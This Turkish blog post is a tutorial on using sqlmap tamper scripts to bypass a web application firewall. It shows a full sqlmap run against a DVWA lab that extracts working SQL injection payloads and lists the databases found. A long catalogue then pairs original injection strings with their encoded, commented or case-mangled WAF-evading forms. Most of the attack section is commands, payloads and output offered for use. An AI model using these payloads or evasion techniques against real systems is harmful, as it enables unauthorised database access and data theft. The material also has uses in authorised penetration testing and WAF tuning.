Swift with Furkan

SQLmap'i WAF Bypass Scriptleri ile Kullanma

Hedef sistemde SQL Injection güvenlik açığı tespit edilse bile normal şartlarda sqli komutları işlem görmüyorsa büyük ihtimalle arkada bir WAF(Web Application Firewall) tarafından algılanıp engelleniyordur.

SQL Injection saldırılarında çeşitli bypass yöntemleri kullanırız, örneğin;
büyük küçük harf karmaşası, komutların çeşitli şifreleme algoritmalarıyla encode etmek gibi..

SQLmap’in WAF, IPS gibi saldırı engelleme sistemlerini bypass etmesi için “tamper script” özelliği bulunmaktadır.

Aşağıda WAF kullanan bir sisteme SQLmap’in default kullanım parametresi verilmiştir ve sonuç alınamamıştır:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u “http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb” –dbs 

    sqlmap/1.0-dev-dea6218 – automatic SQL injection and database takeover tool
    http://sqlmap.org 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:39:43
[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset ‘ascii’
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter ‘id’ might be injectable (possible DBMS: ‘MySQL’)
[15:39:43] [INFO] testing for SQL injection on GET parameter ‘id’
[15:39:43] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 10 columns’
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request

Görüldüğü gibi hedef sistemde UNION komutu geçtiğinde istekleri engelleyen bir yapı bulunmaktadır..

Şimdi ise bir de SQLmap’i –tamper fonksiyonuyla birlikte kullanalım:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u “http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb” –tamper “tamper/randomcase.py” –dbs 

[*] starting at 16:16:24 

[16:16:24] [INFO] loading tamper script ‘randomcase’
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter ‘id’ is dynamic
[16:16:26] [WARNING] GET parameter ‘id’ appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset ‘ascii’
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter ‘id’ might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter ‘id’
[16:16:26] [INFO] testing ‘AND boolean-based blind – WHERE or HAVING clause’
[16:16:26] [INFO] GET parameter ‘id’ seems to be ‘AND boolean-based blind – WHERE or HAVING clause’ injectable (with –string=’Surname: admin’)
[16:16:26] [INFO] testing ‘MySQL >= 5.0 AND error-based – WHERE or HAVING clause’
[16:16:26] [INFO] GET parameter ‘id’ is ‘MySQL >= 5.0 AND error-based – WHERE or HAVING clause’ injectable
[16:16:26] [INFO] testing ‘MySQL > 5.0.11 stacked queries’
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..                                              
[16:16:27] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind’
[16:16:37] [INFO] GET parameter ‘id’ is ‘MySQL > 5.0.11 AND time-based blind’ injectable
[16:16:37] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 20 columns’
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter ‘id’ is ‘MySQL UNION query (NULL) – 1 to 20 columns’ injectable
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind – WHERE or HAVING clause
    Payload: id=1 AND 3106=3106&Submit=Submit
    Type: error-based
    Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
    Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
    Type: UNION query
    Title: MySQL UNION query (NULL) – 2 columns
    Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)&Submit=Submit

[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [7]:
[*] beyazsapka
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
[*] yenibir_siparis
[16:16:41] [INFO] fetched data logged to text files under ‘/pentest/database/sqlmap/output/192.168.1.127’
[*] shutting down at 16:16:41

Görüldüğü gibi hedef sistemdeki koruyucu mekanizma atlatılmış oldu..

SQLmap’in yüklü olduğu dizinde “tamper” isimli klasörde çeşitli bypass scriptleri bulunmaktadır. Biz yukardaki testte “tamper” klasörünün içinde “randomcase.py” scriptinden faydalandık. Bu scriptin görevi UNION gibi sql komutlarını rastgele büyük-küçük harf şeklinde düzenleyerek karşı sisteme yollar ve WAF var ise bypass etmiş olur.

Aşağıda tamper klasöründe bulunan diğer bypass scriptlerinin isimleri, bypass yöntemleri ve hangi veritabanı platformlarında işlevi olduğunu paylaştım:

apostrophemask.py (UTF-8)
Örnek:
* Orjinal Komut: AND ‘1’=’1′
* Bypass Komutu:  AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87

apostrophenullencode.py (unicode)
Örnek:
* Orjinal Komut: AND ‘1’=’1′
* Bypass Komutu:  AND %271%27=%271%27

appendnullbyte.py ()
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu:  AND 1=1
Platform:
* Microsoft Access

base64encode.py (base64)
Örnek:
* Orjinal Komut: 1′ AND SLEEP(5)#
* Bypass Komutu:  MScgQU5EIFNMRUVQKDUpIw==

between.py (“not between” “>”)
Örnek:
* Orjinal Komut: ‘A > B’
* Bypass Komutu:  ‘A NOT BETWEEN 0 AND B’

bluecoat.py (“like” “=”)
Örnek:
* Orjinal Komut: SELECT id FROM users where id = 1
* Bypass Komutu:  SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS

chardoubleencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu:  %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu:  %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

charunicodeencode.py
Örnek:
* Orjinal Komut: SELECT FIELD%20FROM TABLE
* Bypass Komutu:  %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Platform:
* ASP
* ASP.NET

equaltolike.py (“like” “=”)
Örnek:
* Orjinal Komut: SELECT * FROM users WHERE id=1
* Bypass Komutu:  SELECT * FROM users WHERE id LIKE 1

halfversionedmorekeywords.py
Örnek:
* Orjinal Komut: value‘ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa
* Bypass Komutu:  value‘/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
Platform:
* MySQL < 5.1

ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)
Örnek:
* Orjinal Komut: IFNULL(1, 2)
* Bypass Komutu:  IF(ISNULL(1), 2, 1)
Platform:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)

modsecurityversioned.py
Örnek:
* Orjinal Komut: 1 AND 2>1–
* Bypass Komutu:  1 /*!30000AND 2>1*/–
Platform:
* MySQL

modsecurityzeroversioned.py (“0000”)
Örnek:
* Orjinal Komut: 1 AND 2>1–
* Bypass Komutu:  1 /*!00000AND 2>1*/–
Platform:
* MySQL

multiplespaces.py
Örnek:
* Orjinal Komut: UNION SELECT
* Bypass Komutu:   UNION   SELECT

nonrecursivereplacement.py
Örnek:
* Orjinal Komut: 1 UNION SELECT 2–
* Bypass Komutu:  1 UNUNIONION SELSELECTECT 2–

percentage.py (“%”)
Örnek:
* Orjinal Komut: SELECT FIELD FROM TABLE
* Bypass Komutu:  %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Platform:
* ASP

randomcase.py
Örnek:
* Orjinal Komut: INSERT
* Bypass Komutu:  InsERt

randomcomments.py
Örnek:
‘INSERT’ becomes ‘IN/**/S/**/ERT’

securesphere.py
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu:  AND 1=1 and ‘0having’=’0having’

sp_password.py (“sp_password”)
Örnek:
* Orjinal Komut: 1 AND 9227=9227–
* Bypass Komutu:  1 AND 9227=9227–sp_password
Platform:
* MSSQL

space2comment.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT/**/id/**/FROM/**/users

space2dash.py (“–”)
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1–PTTmJopxdWJ%0AAND–cWfcVRPV%0A9227=9227
Platform:
* MSSQL
* SQLite

space2hash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Platform:
* MySQL

space2morehash.py
Platform:
* MySQL >= 5.1.13

space2mssqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT%08id%02FROM%0Fusers
Platform:
* Microsoft SQL Server

space2mssqlhash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1%23%0A9227=9227
Platform:
* MSSQL
* MySQL

space2mysqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT%0Bid%0BFROM%A0users
Platform:
* MySQL

space2mysqldash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1–%0AAND–%0A9227=9227
Platform:
* MySQL
* MSSQL

space2plus.py (“+”)
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT+id+FROM+users

space2randomblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECTridtFROMnusers

unionalltounion.py (“union all” “union”)
Örnek:
* Orjinal Komut: -1 UNION ALL SELECT
* Bypass Komutu:  -1 UNION SELECT

unmagicquotes.py (“%bf%27” “–”)
Örnek:
* Orjinal Komut: 1′ AND 1=1
* Bypass Komutu:  1%bf%27 AND 1=1–%20

versionedkeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Bypass Komutu:  1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Platform:
* MySQL

versionedmorekeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Bypass Komutu:  1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Platform:
* MySQL >= 5.1.13

İyi çalışmalar..

Furkan SANDAL

Exit mobile version